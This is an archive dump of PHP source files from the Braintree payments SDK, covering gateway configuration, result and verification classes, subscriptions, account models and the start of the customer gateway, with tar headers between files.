$this->_merchantId = $value; } public function getPublicKey() { return $this->_publicKey; } public function getClientId() { return $this->_clientId; } /** * Do not use this method directly. Pass in the publicKey to the constructor. */ public function setPublicKey($value) { $this->_publicKey = $value; } public function getPrivateKey() { return $this->_privateKey; } public function getClientSecret() { return $this->_clientSecret; } /** * Do not use this method directly. Pass in the privateKey to the constructor. */ public function setPrivateKey($value) { $this->_privateKey = $value; } private function setProxyHost($value) { $this->_proxyHost = $value; } public function getProxyHost() { return $this->_proxyHost; } private function setProxyPort($value) { $this->_proxyPort = $value; } public function getProxyPort() { return $this->_proxyPort; } private function setProxyType($value) { $this->_proxyType = $value; } public function getProxyType() { return $this->_proxyType; } private function setProxyUser($value) { $this->_proxyUser = $value; } public function getProxyUser() { return $this->_proxyUser; } private function setProxyPassword($value) { $this->_proxyPassword = $value; } public function getProxyPassword() { return $this->_proxyPassword; } private function setTimeout($value) { $this->_timeout = $value; } public function getTimeout() { return $this->_timeout; } private function setSslVersion($value) { $this->_sslVersion = $value; } private function getSslVersion() { return $this->_sslVersion; } public function getAcceptGzipEncoding() { return $this->_acceptGzipEncoding; } private function setAcceptGzipEncoding($value) { $this->_acceptGzipEncoding = $value; } public function getAccessToken() { return $this->_accessToken; } public function isAccessToken() { return !empty($this->_accessToken); } public function isClientCredentials() { return !empty($this->_clientId); } /** * returns the base braintree gateway URL based on config values * * @access public * @param none * @return string braintree gateway URL */ public function baseUrl() { return sprintf('%s://%s:%d', $this->protocol(), $this->serverName(), $this->portNumber()); } /** * returns the base URL for Braintree's GraphQL endpoint based on config values * * @access public * @param none * @return string Braintree GraphQL URL */ public function graphQLBaseUrl() { return sprintf('%s://%s:%d/graphql', $this->protocol(), $this->graphQLServerName(), $this->graphQLPortNumber()); } /** * sets the merchant path based on merchant ID * * @access protected * @param none * @return string merchant path uri */ public function merchantPath() { return '/merchants/' . $this->_merchantId; } /** * sets the physical path for the location of the CA certs * * @access public * @param none * @return string filepath */ public function caFile($sslPath = NULL) { $sslPath = $sslPath ? $sslPath : DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'ssl' . DIRECTORY_SEPARATOR; $caPath = __DIR__ . $sslPath . 'api_braintreegateway_com.ca.crt'; if (!file_exists($caPath)) { throw new Exception\SSLCaFileNotFound(); } return $caPath; } /** * returns the port number depending on environment * * @access public * @param none * @return int portnumber */ public function portNumber() { if ($this->sslOn()) { return 443; } return getenv("GATEWAY_PORT") ? getenv("GATEWAY_PORT") : 3000; } /** * returns the graphql port number depending on environment * * @access public * @param none * @return int graphql portnumber */ public function graphQLPortNumber() { if ($this->sslOn()) { return 443; } return getenv("GRAPHQL_PORT") ?: 8080; } /** * returns http protocol depending on environment * * @access public * @param none * @return string http || https */ public function protocol() { return $this->sslOn() ? 'https' : 'http'; } /** * returns gateway server name depending on environment * * @access public * @param none * @return string server domain name */ public function serverName() { switch($this->_environment) { case 'production': $serverName = 'api.braintreegateway.com'; break; case 'qa': $serverName = 'gateway.qa.braintreepayments.com'; break; case 'sandbox': $serverName = 'api.sandbox.braintreegateway.com'; break; case 'development': case 'integration': default: $serverName = 'localhost'; break; } return $serverName; } /** * returns Braintree GraphQL server name depending on environment * * @access public * @param none * @return string graphql domain name */ public function graphQLServerName() { switch($this->_environment) { case 'production': $graphQLServerName = 'payments.braintree-api.com'; break; case 'qa': $graphQLServerName = 'payments-qa.dev.braintree-api.com'; break; case 'sandbox': $graphQLServerName = 'payments.sandbox.braintree-api.com'; break; case 'development': case 'integration': default: $graphQLServerName = 'graphql.bt.local'; break; } return $graphQLServerName; } public function authUrl() { switch($this->_environment) { case 'production': $serverName = 'https://auth.venmo.com'; break; case 'qa': $serverName = 'https://auth.qa.venmo.com'; break; case 'sandbox': $serverName = 'https://auth.sandbox.venmo.com'; break; case 'development': case 'integration': default: $serverName = 'http://auth.venmo.dev:9292'; break; } return $serverName; } /** * returns boolean indicating SSL is on or off for this session, * depending on environment * * @access public * @param none * @return boolean */ public function sslOn() { switch($this->_environment) { case 'integration': case 'development': $ssl = false; break; case 'production': case 'qa': case 'sandbox': default: $ssl = true; break; } return $ssl; } /** * log message to default logger * * @param string $message * */ public function logMessage($message) { error_log('[Braintree] ' . $message); } } Configuration::reset(); class_alias('Braintree\Configuration', 'Braintree_Configuration'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Result/CreditCardVerification.php�������������������������������������������0000644�����������������00000005277�14720677707�0017572 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Result; use Braintree\RiskData; use Braintree\Util; /** * Braintree Credit Card Verification Result * * This object is returned as part of an Error Result; it provides * access to the credit card verification data from the gateway * * * @package Braintree * @subpackage Result * * @property-read string|null $avsErrorResponseCode * @property-read string $avsPostalCodeResponseCode * @property-read string $avsStreetAddressResponseCode * @property-read string $cvvResponseCode * @property-read string $status * */ class CreditCardVerification { // Status const FAILED = 'failed'; const GATEWAY_REJECTED = 'gateway_rejected'; const PROCESSOR_DECLINED = 'processor_declined'; const VERIFIED = 'verified'; private $_attributes; private $_amount; private $_avsErrorResponseCode; private $_avsPostalCodeResponseCode; private $_avsStreetAddressResponseCode; private $_currencyIsoCode; private $_cvvResponseCode; private $_gatewayRejectionReason; private $_status; /** * @ignore */ public function __construct($attributes) { $this->_initializeFromArray($attributes); } /** * initializes instance properties from the keys/values of an array * @ignore * @access protected * @param <type> $aAttribs array of properties to set - single level * @return void */ private function _initializeFromArray($attributes) { if(isset($attributes['riskData'])) { $attributes['riskData'] = RiskData::factory($attributes['riskData']); } $this->_attributes = $attributes; foreach($attributes AS $name => $value) { $varName = "_$name"; $this->$varName = $value; } } /** * @ignore */ public function __get($name) { $varName = "_$name"; return isset($this->$varName) ? $this->$varName : null; } /** * returns a string representation of the customer * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } public static function allStatuses() { return [ CreditCardVerification::FAILED, CreditCardVerification::GATEWAY_REJECTED, CreditCardVerification::PROCESSOR_DECLINED, CreditCardVerification::VERIFIED ]; } } class_alias('Braintree\Result\CreditCardVerification', 'Braintree_Result_CreditCardVerification'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Result/Error.php������������������������������������������������������������0000644�����������������00000007511�14720677707�0014305 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Result; use Braintree\Base; use Braintree\Transaction; use Braintree\Subscription; use Braintree\MerchantAccount; use Braintree\Util; use Braintree\Error\ErrorCollection; /** * Braintree Error Result * * An Error Result will be returned from gateway methods when * the gateway responds with an error. It will provide access * to the original request. * For example, when voiding a transaction, Error Result will * respond to the void request if it failed: * * <code> * $result = Transaction::void('abc123'); * if ($result->success) { * // Successful Result * } else { * // Result\Error * } * </code> * * @package Braintree * @subpackage Result * * @property-read array $params original passed params * @property-read \Braintree\Error\ErrorCollection $errors * @property-read \Braintree\Result\CreditCardVerification $creditCardVerification credit card verification data */ class Error extends Base { /** * @var bool always false */ public $success = false; /** * return original value for a field * For example, if a user tried to submit 'invalid-email' in the html field transaction[customer][email], * $result->valueForHtmlField("transaction[customer][email]") would yield "invalid-email" * * @param string $field * @return string */ public function valueForHtmlField($field) { $pieces = preg_split("/[\[\]]+/", $field, 0, PREG_SPLIT_NO_EMPTY); $params = $this->params; foreach(array_slice($pieces, 0, -1) as $key) { $params = $params[Util::delimiterToCamelCase($key)]; } if ($key != 'custom_fields') { $finalKey = Util::delimiterToCamelCase(end($pieces)); } else { $finalKey = end($pieces); } $fieldValue = isset($params[$finalKey]) ? $params[$finalKey] : null; return $fieldValue; } /** * overrides default constructor * @ignore * @param array $response gateway response array */ public function __construct($response) { $this->_attributes = $response; $this->_set('errors', new ErrorCollection($response['errors'])); if(isset($response['verification'])) { $this->_set('creditCardVerification', new CreditCardVerification($response['verification'])); } else { $this->_set('creditCardVerification', null); } if(isset($response['transaction'])) { $this->_set('transaction', Transaction::factory($response['transaction'])); } else { $this->_set('transaction', null); } if(isset($response['subscription'])) { $this->_set('subscription', Subscription::factory($response['subscription'])); } else { $this->_set('subscription', null); } if(isset($response['merchantAccount'])) { $this->_set('merchantAccount', MerchantAccount::factory($response['merchantAccount'])); } else { $this->_set('merchantAccount', null); } if(isset($response['verification'])) { $this->_set('verification', new CreditCardVerification($response['verification'])); } else { $this->_set('verification', null); } } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @ignore * @return string */ public function __toString() { $output = Util::attributesToString($this->_attributes); if (isset($this->_creditCardVerification)) { $output .= sprintf('%s', $this->_creditCardVerification); } return __CLASS__ .'[' . $output . ']'; } } class_alias('Braintree\Result\Error', 'Braintree_Result_Error'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Result/UsBankAccountVerification.php����������������������������������������0000644�����������������00000006233�14720677707�0020257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Result; use Braintree\RiskData; use Braintree\Util; use Braintree\UsBankAccount; /** * Braintree US Bank Account Verification Result * * This object is returned as part of an Error Result; it provides * access to the credit card verification data from the gateway * * * @package Braintree * @subpackage Result * * @property-read string $id * @property-read string $status * @property-read string $verificationMethod * @property-read \DateTime $verificationDeterminedAt * @property-read Braintree\UsBankAccount $usBankAccount * */ class UsBankAccountVerification { // Status const FAILED = 'failed'; const GATEWAY_REJECTED = 'gateway_rejected'; const PROCESSOR_DECLINED = 'processor_declined'; const VERIFIED = 'verified'; const PENDING = 'pending'; const TOKENIZED_CHECK = 'tokenized_check'; const NETWORK_CHECK = 'network_check'; const INDEPENDENT_CHECK = 'independent_check'; const MICRO_TRANSFERS = 'micro_transfers'; private $_attributes; private $_gatewayRejectionReason; private $_status; /** * @ignore */ public function __construct($attributes) { $this->_initializeFromArray($attributes); $usBankAccount = isset($attributes['usBankAccount']) ? UsBankAccount::factory($attributes['usBankAccount']) : null; $this->usBankAccount = $usBankAccount; } /** * initializes instance properties from the keys/values of an array * @ignore * @access protected * @param <type> $aAttribs array of properties to set - single level * @return void */ private function _initializeFromArray($attributes) { $this->_attributes = $attributes; foreach($attributes AS $name => $value) { $varName = "_$name"; $this->$varName = $value; } } /** * @ignore */ public function __get($name) { $varName = "_$name"; return isset($this->$varName) ? $this->$varName : null; } /** * returns a string representation of the customer * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } public static function allStatuses() { return [ UsBankAccountVerification::FAILED, UsBankAccountVerification::GATEWAY_REJECTED, UsBankAccountVerification::PROCESSOR_DECLINED, UsBankAccountVerification::VERIFIED, UsBankAccountVerification::PENDING, ]; } public static function allVerificationMethods() { return [ UsBankAccountVerification::TOKENIZED_CHECK, UsBankAccountVerification::NETWORK_CHECK, UsBankAccountVerification::INDEPENDENT_CHECK, UsBankAccountVerification::MICRO_TRANSFERS, ]; } } class_alias('Braintree\Result\UsBankAccountVerification', 'Braintree_Result_UsBankAccountVerification'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Result/Successful.php�������������������������������������������������������0000644�����������������00000005142�14720677707�0015331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree\Result; use Braintree\Instance; use Braintree\Util; /** * Braintree Successful Result * * A Successful Result will be returned from gateway methods when * validations pass. It will provide access to the created resource. * * For example, when creating a customer, Successful will * respond to <b>customer</b> like so: * * <code> * $result = Customer::create(array('first_name' => "John")); * if ($result->success) { * // Successful * echo "Created customer {$result->customer->id}"; * } else { * // Error * } * </code> * * * @package Braintree * @subpackage Result */ class Successful extends Instance { /** * * @var boolean always true */ public $success = true; /** * * @var string stores the internal name of the object providing access to */ private $_returnObjectNames; /** * @ignore * @param array|null $objsToReturn * @param array|null $propertyNames */ public function __construct($objsToReturn = [], $propertyNames = []) { // Sanitize arguments (preserves backwards compatibility) if (!is_array($objsToReturn)) { $objsToReturn = [$objsToReturn]; } if (!is_array($propertyNames)) { $propertyNames = [$propertyNames]; } $objects = $this->_mapPropertyNamesToObjsToReturn($propertyNames, $objsToReturn); $this->_attributes = []; $this->_returnObjectNames = []; foreach ($objects as $propertyName => $objToReturn) { // save the name for indirect access array_push($this->_returnObjectNames, $propertyName); // create the property! $this->$propertyName = $objToReturn; } } /** * * @ignore * @return string string representation of the object's structure */ public function __toString() { $objects = []; foreach ($this->_returnObjectNames as $returnObjectName) { array_push($objects, $returnObjectName); } return __CLASS__ . '[' . implode(', ', $objects) . ']'; } private function _mapPropertyNamesToObjsToReturn($propertyNames, $objsToReturn) { if(count($objsToReturn) != count($propertyNames)) { $propertyNames = []; foreach ($objsToReturn as $obj) { array_push($propertyNames, Util::cleanClassName(get_class($obj))); } } return array_combine($propertyNames, $objsToReturn); } } class_alias('Braintree\Result\Successful', 'Braintree_Result_Successful'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/RevokedPaymentMethodMetadata.php��������������������������������������������0000644�����������������00000002710�14720677707�0017471 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree RevokedPaymentMethodMetadata module * * @package Braintree * @category Resources */ /** * Manages Braintree RevokedPaymentMethodMetadata * * <b>== More information ==</b> * * * @package Braintree * @category Resources * * @property-read string $customerId * @property-read string $token * @property-read string $revokedPaymentMethod */ class RevokedPaymentMethodMetadata extends Base { /** * factory method: returns an instance of RevokedPaymentMethodMetadata * to the requesting method, with populated properties * * @ignore * @return RevokedPaymentMethodMetadata */ public static function factory($attributes) { $instance = new self(); $instance->revokedPaymentMethod = PaymentMethodParser::parsePaymentMethod($attributes); $instance->customerId = $instance->revokedPaymentMethod->customerId; $instance->token = $instance->revokedPaymentMethod->token; return $instance; } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { return __CLASS__ . '[' . Util::attributesToString($this->_attributes) . ']'; } } class_alias('Braintree\RevokedPaymentMethodMetadata', 'Braintree_RevokedPaymentMethodMetadata'); ��������������������������������������������������������braintree/lib/Braintree/Subscription.php������������������������������������������������������������0000644�����������������00000013037�14720677707�0014422 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Subscription module * * <b>== More information ==</b> * * For more detailed information on Subscriptions, see {@link https://developers.braintreepayments.com/reference/response/subscription/php https://developers.braintreepayments.com/reference/response/subscription/php} * * PHP Version 5 * * @package Braintree * * @property-read \Braintree\Addon[] $addOns * @property-read string $balance * @property-read int $billingDayOfMonth * @property-read \DateTime $billingPeriodEndDate * @property-read \DateTime $billingPeriodStartDate * @property-read \DateTime $createdAt * @property-read int $currentBillingCycle * @property-read int|null $daysPastDue * @property-read string|null $description * @property-read \Braintree\Descriptor|null $descriptor * @property-read \Braintree\Discount[] $discounts * @property-read int $failureCount * @property-read \DateTime $firstBillingDate * @property-read string $id * @property-read string $merchantAccountId * @property-read boolean $neverExpires * @property-read string $nextBillingPeriodAmount * @property-read \DateTime $nextBillingDate * @property-read int|null $numberOfBillingCycles * @property-read \DateTime|null $paidThroughDate * @property-read string $paymentMethodToken * @property-read string $planId * @property-read string $price * @property-read string $status * @property-read \Braintree\Subscription\StatusDetails[] $statusHistory * @property-read \Braintree\Transaction[] $transactions * @property-read int $trialDuration * @property-read string $trialDurationUnit * @property-read boolean $trialPeriod * @property-read \DateTime $updatedAt */ class Subscription extends Base { const ACTIVE = 'Active'; const CANCELED = 'Canceled'; const EXPIRED = 'Expired'; const PAST_DUE = 'Past Due'; const PENDING = 'Pending'; // Subscription Sources const API = 'api'; const CONTROL_PANEL = 'control_panel'; const RECURRING = 'recurring'; /** * @ignore */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * @ignore */ protected function _initialize($attributes) { $this->_attributes = $attributes; $addOnArray = []; if (isset($attributes['addOns'])) { foreach ($attributes['addOns'] AS $addOn) { $addOnArray[] = AddOn::factory($addOn); } } $this->_attributes['addOns'] = $addOnArray; $discountArray = []; if (isset($attributes['discounts'])) { foreach ($attributes['discounts'] AS $discount) { $discountArray[] = Discount::factory($discount); } } $this->_attributes['discounts'] = $discountArray; if (isset($attributes['descriptor'])) { $this->_set('descriptor', new Descriptor($attributes['descriptor'])); } if (isset($attributes['description'])) { $this->_set('description', $attributes['description']); } $statusHistory = []; if (isset($attributes['statusHistory'])) { foreach ($attributes['statusHistory'] AS $history) { $statusHistory[] = new Subscription\StatusDetails($history); } } $this->_attributes['statusHistory'] = $statusHistory; $transactionArray = []; if (isset($attributes['transactions'])) { foreach ($attributes['transactions'] AS $transaction) { $transactionArray[] = Transaction::factory($transaction); } } $this->_attributes['transactions'] = $transactionArray; } /** * returns a string representation of the customer * @return string */ public function __toString() { $excludedAttributes = ['statusHistory']; $displayAttributes = []; foreach($this->_attributes as $key => $val) { if (!in_array($key, $excludedAttributes)) { $displayAttributes[$key] = $val; } } return __CLASS__ . '[' . Util::attributesToString($displayAttributes) .']'; } // static methods redirecting to gateway public static function create($attributes) { return Configuration::gateway()->subscription()->create($attributes); } public static function find($id) { return Configuration::gateway()->subscription()->find($id); } public static function search($query) { return Configuration::gateway()->subscription()->search($query); } public static function fetch($query, $ids) { return Configuration::gateway()->subscription()->fetch($query, $ids); } public static function update($subscriptionId, $attributes) { return Configuration::gateway()->subscription()->update($subscriptionId, $attributes); } public static function retryCharge($subscriptionId, $amount = null, $submitForSettlement = false) { return Configuration::gateway()->subscription()->retryCharge($subscriptionId, $amount, $submitForSettlement); } public static function cancel($subscriptionId) { return Configuration::gateway()->subscription()->cancel($subscriptionId); } } class_alias('Braintree\Subscription', 'Braintree_Subscription'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Instance.php����������������������������������������������������������������0000644�����������������00000003534�14720677707�0013503 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree Class Instance template * * @abstract */ abstract class Instance { protected $_attributes = []; /** * * @param array $attributes */ public function __construct($attributes) { if (!empty($attributes)) { $this->_initializeFromArray($attributes); } } /** * returns private/nonexistent instance properties * @access public * @param string $name property name * @return mixed contents of instance properties */ public function __get($name) { if (array_key_exists($name, $this->_attributes)) { return $this->_attributes[$name]; } else { trigger_error('Undefined property on ' . get_class($this) . ': ' . $name, E_USER_NOTICE); return null; } } /** * used by isset() and empty() * @access public * @param string $name property name * @return boolean */ public function __isset($name) { return array_key_exists($name, $this->_attributes); } /** * create a printable representation of the object as: * ClassName[property=value, property=value] * @return string */ public function __toString() { $objOutput = Util::implodeAssociativeArray($this->_attributes); return get_class($this) .'[' . $objOutput . ']'; } /** * initializes instance properties from the keys/values of an array * @ignore * @access protected * @param <type> $aAttribs array of properties to set - single level * @return void */ private function _initializeFromArray($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\Instance', 'Braintree_Instance'); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/VenmoAccount.php������������������������������������������������������������0000644�����������������00000004020�14720677707�0014327 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree VenmoAccount module * Creates and manages Braintree Venmo accounts * * <b>== More information ==</b> * * See {@link https://developers.braintreepayments.com/javascript+php}<br /> * * @package Braintree * @category Resources * * @property-read \DateTime $createdAt * @property-read string $customerId * @property-read boolean $default * @property-read string $imageUrl * @property-read string $sourceDescription * @property-read \Braintree\Subscription[] $subscriptions * @property-read string $token * @property-read \DateTime $updatedAt * @property-read string $username * @property-read string $venmoUserId */ class VenmoAccount extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * factory method: returns an instance of VenmoAccount * to the requesting method, with populated properties * * @ignore * @return VenmoAccount */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * sets instance properties from an array of values * * @access protected * @param array $venmoAccountAttribs array of Venmo account properties * @return void */ protected function _initialize($venmoAccountAttribs) { $this->_attributes = $venmoAccountAttribs; $subscriptionArray = array(); if (isset($venmoAccountAttribs['subscriptions'])) { foreach ($venmoAccountAttribs['subscriptions'] AS $subscription) { $subscriptionArray[] = Subscription::factory($subscription); } } $this->_set('subscriptions', $subscriptionArray); } } class_alias('Braintree\VenmoAccount', 'Braintree_VenmoAccount'); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/OAuthAccessRevocation.php���������������������������������������������������0000644�����������������00000001141�14720677707�0016123 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree OAuth Revocation module * * PHP Version 5 * * @package Braintree */ class OAuthAccessRevocation extends Base { /** * @ignore */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } /** * @ignore */ protected function _initialize($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\OAuthAccessRevocation', 'Braintree_OAuthAccessRevocation'); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/SubscriptionSearch.php������������������������������������������������������0000644�����������������00000003142�14720677707�0015544 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class SubscriptionSearch { public static function billingCyclesRemaining() { return new RangeNode('billing_cycles_remaining'); } public static function daysPastDue() { return new RangeNode('days_past_due'); } public static function id() { return new TextNode('id'); } public static function inTrialPeriod() { return new MultipleValueNode('in_trial_period', [true, false]); } public static function merchantAccountId() { return new MultipleValueNode('merchant_account_id'); } public static function nextBillingDate() { return new RangeNode('next_billing_date'); } public static function planId() { return new MultipleValueOrTextNode('plan_id'); } public static function price() { return new RangeNode('price'); } public static function status() { return new MultipleValueNode('status', [ Subscription::ACTIVE, Subscription::CANCELED, Subscription::EXPIRED, Subscription::PAST_DUE, Subscription::PENDING, ]); } public static function transactionId() { return new TextNode('transaction_id'); } public static function ids() { return new MultipleValueNode('ids'); } public static function createdAt() { return new RangeNode('created_at'); } } class_alias('Braintree\SubscriptionSearch', 'Braintree_SubscriptionSearch'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/ConnectedMerchantPayPalStatusChanged.php������������������������������������0000644�����������������00000001616�14720677707�0021107 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Connected Merchant PayPal Status Changed Payload * * @package Braintree * * @property-read string $merchantPublicId * @property-read string $action * @property-read string $oauthApplicationClientId */ class ConnectedMerchantPayPalStatusChanged extends Base { protected $_attributes = []; /** * @ignore */ public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); $instance->_attributes['merchantId'] = $instance->_attributes['merchantPublicId']; return $instance; } /** * @ignore */ protected function _initialize($attributes) { $this->_attributes = $attributes; } } class_alias('Braintree\ConnectedMerchantPayPalStatusChanged', 'Braintree_ConnectedMerchantPayPalStatusChanged'); ������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/Modification.php������������������������������������������������������������0000644�����������������00000001051�14720677707�0014334 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; class Modification extends Base { protected function _initialize($attributes) { $this->_attributes = $attributes; } public static function factory($attributes) { $instance = new self(); $instance->_initialize($attributes); return $instance; } public function __toString() { return get_called_class() . '[' . Util::attributesToString($this->_attributes) . ']'; } } class_alias('Braintree\Modification', 'Braintree_Modification'); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/EuropeBankAccount.php�������������������������������������������������������0000644�����������������00000003340�14720677707�0015302 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; /** * Braintree EuropeBankAccount module * Creates and manages Braintree Europe Bank Accounts * * <b>== More information ==</b> * * See {@link https://developers.braintreepayments.com/javascript+php}<br /> * * @package Braintree * @category Resources * * @property-read string $account-holder-name * @property-read string $bic * @property-read string $customerId * @property-read string $default * @property-read string $image-url * @property-read string $mandate-reference-number * @property-read string $masked-iban * @property-read string $token */ class EuropeBankAccount extends Base { /* instance methods */ /** * returns false if default is null or false * * @return boolean */ public function isDefault() { return $this->default; } /** * factory method: returns an instance of EuropeBankAccount * to the requesting method, with populated properties * * @ignore * @return EuropeBankAccount */ public static function factory($attributes) { $defaultAttributes = [ ]; $instance = new self(); $instance->_initialize(array_merge($defaultAttributes, $attributes)); return $instance; } /** * sets instance properties from an array of values * * @access protected * @param array $europeBankAccountAttribs array of EuropeBankAccount properties * @return void */ protected function _initialize($europeBankAccountAttribs) { $this->_attributes = $europeBankAccountAttribs; } } class_alias('Braintree\EuropeBankAccount', 'Braintree_EuropeBankAccount'); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������braintree/lib/Braintree/CustomerGateway.php���������������������������������������������������������0000644�����������������00000053175�14720677707�0015070 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Braintree; use InvalidArgumentException; /** * Braintree CustomerGateway module * Creates and manages Customers * * <b>== More information ==</b> * * For more detailed information on Customers, see {@link https://developers.braintreepayments.com/reference/response/customer/php https://developers.braintreepayments.com/reference/response/customer/php} * * @package Braintree * @category Resources */ class CustomerGateway { private $_gateway; private $_config; private $_http; public function __construct($gateway) { $this->_gateway = $gateway; $this->_config = $gateway->config; $this->_config->assertHasAccessTokenOrKeys(); $this->_http = new Http($gateway->config); } public function all() { $path = $this->_config->merchantPath() . '/customers/advanced_search_ids'; $response = $this->_http->post($path); $pager = [ 'object' => $this, 'method' => 'fetch', 'methodArgs' => [[]] ]; return new ResourceCollection($response, $pager); } public function fetch($query, $ids) { $criteria = []; foreach ($query as $term) { $criteria[$term->name] = $term->toparam(); } $criteria["ids"] = CustomerSearch::ids()->in($ids)->toparam(); $path = $this->_config->merchantPath() . '/customers/advanced_search'; $response = $this->_http->post($path, ['search' => $criteria]); return Util::extractattributeasarray( $response['customers'], 'customer' ); } /** * Creates a customer using the given +attributes+. If <tt>:id</tt> is not passed, * the gateway will generate it. * * <code> * $result = Customer::create(array( * 'first_name' => 'John', * 'last_name' => 'Smith', * 'company' => 'Smith Co.', * 'email' => 'john@smith.com', * 'website' => 'www.smithco.com', * 'fax' => '419-555-1234', * 'phone' => '614-555-1234' * )); * if($result->success) { * echo 'Created customer ' . $result->customer->id; * } else { * echo 'Could not create customer, see result->errors'; * } * </code> * * @access public * @param array $attribs * @return Result\Successful|Result\Error */ public function create($attribs = []) { Util::verifyKeys(self::createSignature(), $attribs); return $this->_doCreate('/customers', ['customer' => $attribs]); } /** * attempts the create operation assuming all data will validate * returns a Customer object instead of a Result * * @access public * @param array $attribs * @return Customer * @throws Exception\ValidationError */ public function createNoValidate($attribs = []) { $result = $this->create($attribs); return Util::returnObjectOrThrowException(__CLASS__, $result); } /** * create a customer from a TransparentRedirect operation * * @deprecated since version 2.3.0 * @access public * @param array $attribs * @return Customer */ public function createFromTransparentRedirect($queryString) { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::confirm", E_USER_NOTICE); $params = TransparentRedirect::parseAndValidateQueryString( $queryString ); return $this->_doCreate( '/customers/all/confirm_transparent_redirect_request', ['id' => $params['id']] ); } /** * * @deprecated since version 2.3.0 * @access public * @param none * @return string */ public function createCustomerUrl() { trigger_error("DEPRECATED: Please use TransparentRedirectRequest::url", E_USER_NOTICE); return $this->_config->baseUrl() . $this->_config->merchantPath() . '/customers/all/create_via_transparent_redirect_request'; } /** * creates a full array signature of a valid create request * @return array gateway create request format */ public static function createSignature() { $creditCardSignature = CreditCardGateway::createSignature(); unset($creditCardSignature[array_search('customerId', $creditCardSignature)]); $signature = [ 'id', 'company', 'email', 'fax', 'firstName', 'lastName', 'phone', 'website', 'deviceData', 'deviceSessionId', 'fraudMerchantId', 'paymentMethodNonce', ['riskData' => ['customerBrowser', 'customerIp', 'customer_browser', 'customer_ip'] ], ['creditCard' => $creditCardSignature], ['customFields' => ['_anyKey_']], ['options' => [ ['paypal' => [ 'payee_email', 'payeeEmail', 'order_id', 'orderId', 'custom_field', 'customField', 'description', 'amount', ['shipping' => [ 'firstName', 'lastName', 'company', 'countryName', 'countryCodeAlpha2', 